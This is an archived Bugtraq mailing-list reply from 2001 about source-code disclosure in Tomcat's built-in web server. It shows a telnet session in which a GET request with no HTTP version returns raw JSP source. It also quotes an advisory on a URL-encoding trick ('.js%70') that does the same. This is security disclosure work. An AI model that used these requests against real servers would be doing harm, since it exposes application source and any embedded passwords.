[20022] in bugtraq

home help back first fref pref prev next nref lref last post

Re: Tomcat may reveal script source code by URL trickery

daemon@ATHENA.MIT.EDU (Eric Daniel Mauricio)
Wed Apr 4 06:54:49 2001

Message-ID:  <200104032047.f33KlNL11550@spock.bestway.com.br>
Date:         Tue, 3 Apr 2001 20:47:23 -0000
Reply-To: ericmau@BESTWAY.COM.BR
From: Eric Daniel Mauricio <ericmau@BESTWAY.COM.BR>
To: BUGTRAQ@SECURITYFOCUS.COM

There is another way to get the source from a jsp page using Tomcat.

If you don't write HTTP/1.0 or HTTP/1.1 in the end of the GET request,
you will get the source code and not the jsp processed.

In other words, use Apache + Tomcat if you intend to protect your source code.

telnet maq106 8080
Trying 10.0.0.106...
Connected to maq106
Escape character is '^]'.
GET /examples/jsp/num/numguess.jsp
HTTP/1.0 200 OK
Content-Type: text/plain
Content-Length: 1237
Last-Modified: Tue, 19 Dec 2000 18:54:46 GMT
Servlet-Engine: Tomcat Web Server/3.2.1 (JSP 1.1; Servlet 2.2; Java 1.3.0;
Windows 95 4.0 x86; java.vendor=Sun Microsystems Inc.)

<!--
  Copyright (c) 1999 The Apache Software Foundation.  All rights
  reserved.

  Number Guess Game
  Written by Jason Hunter, CTO, K&A Software
  http://www.servlets.com
-->

<%@ page import = "num.NumberGuessBean" %>

<jsp:useBean id="numguess" class="num.NumberGuessBean" scope="session"/>
<jsp:setProperty name="numguess" property="*"/>

<html>
<head><title>Number Guess</title></head>
<body bgcolor="white">
<font size=4>

<% if (numguess.getSuccess()) { %>

  Congratulations!  You got it.
  And after just <%= numguess.getNumGuesses() %> tries.<p>

  <% numguess.reset(); %>

  Care to <a href="numguess.jsp">try again</a>?

<% } else if (numguess.getNumGuesses() == 0) { %>

  Welcome to the Number Guess game.<p>

  I'm thinking of a number between 1 and 100.<p>

  <form method=get>
  What's your guess? <input type=text name=guess>
  <input type=submit value="Submit">
  </form>

<% } else { %>

  Good guess, but nope.  Try <b><%= numguess.getHint() %></b>.

  You have made <%= numguess.getNumGuesses() %> guesses.<p>

  I'm thinking of a number between 1 and 100.<p>

  <form method=get>
  What's your guess? <input type=text name=guess>
  <input type=submit value="Submit">
  </form>

<% } %>

</font>
</body>
</html>
Connection closed by foreign host.

[],

   ericmau

"Sverre H. Huseby" <shh@THATHOST.COM> escreveu:

> Tomcat may reveal script source code by URL trickery
> ----------------------------------------------------
>
> Sverre H. Huseby advisory 2001-03-29
>
>
>
> Systems affected
> ----------------
>
> Tomcat 4.0-b1 (latest milestone) and nighly build as of 2001-03-28
> tested.  Other versions may be vulnerable too.  The problem is only
> present when using Tomcat's built in web server, not when using Tomcat
> with Apache Web Server.
>
>
> Description
> -----------
>
> Tomcat (http://jakarta.apache.org/tomcat/), the Reference
> Implementation for the Java Servlet 2.2 and JavaServer Pages 1.1
> Technologies, may be tricked into revealing the source code of JSP
> scripts by using simple URL encoding.
>
>
> Details
> -------
>
> It seems that the built in web server in Tomcat does URL decoding in
> an unreasonable order.  URLs like the following
>
>   http://XXX:8080/examples/jsp/num/numguess.js%70
>
> where %70 is an URL encoded 'p', returns the source code of index.jsp
> rather than running the script on the server side.
>
> To speculate: The JSP handler is skipped as this URL does not end in
> ".jsp", but the static file handler is nevertheless able to map the
> URL into a correct file name.
>
>
> Impact
> ------
>
> This design error makes it possible to fetch the source code of JSP
> scripts.  Such source code may contain database passwords and file
> names, and may reveal design errors or programming bugs that make it
> possible to further exploit the server or service.
>
>
>
> Reported by Sverre H. Huseby, shh@thathost.com
>
> --
> <URL:mailto:shh@thathost.com>
> <URL:http://shh.thathost.com/>
>

home help back first fref pref prev next nref lref last post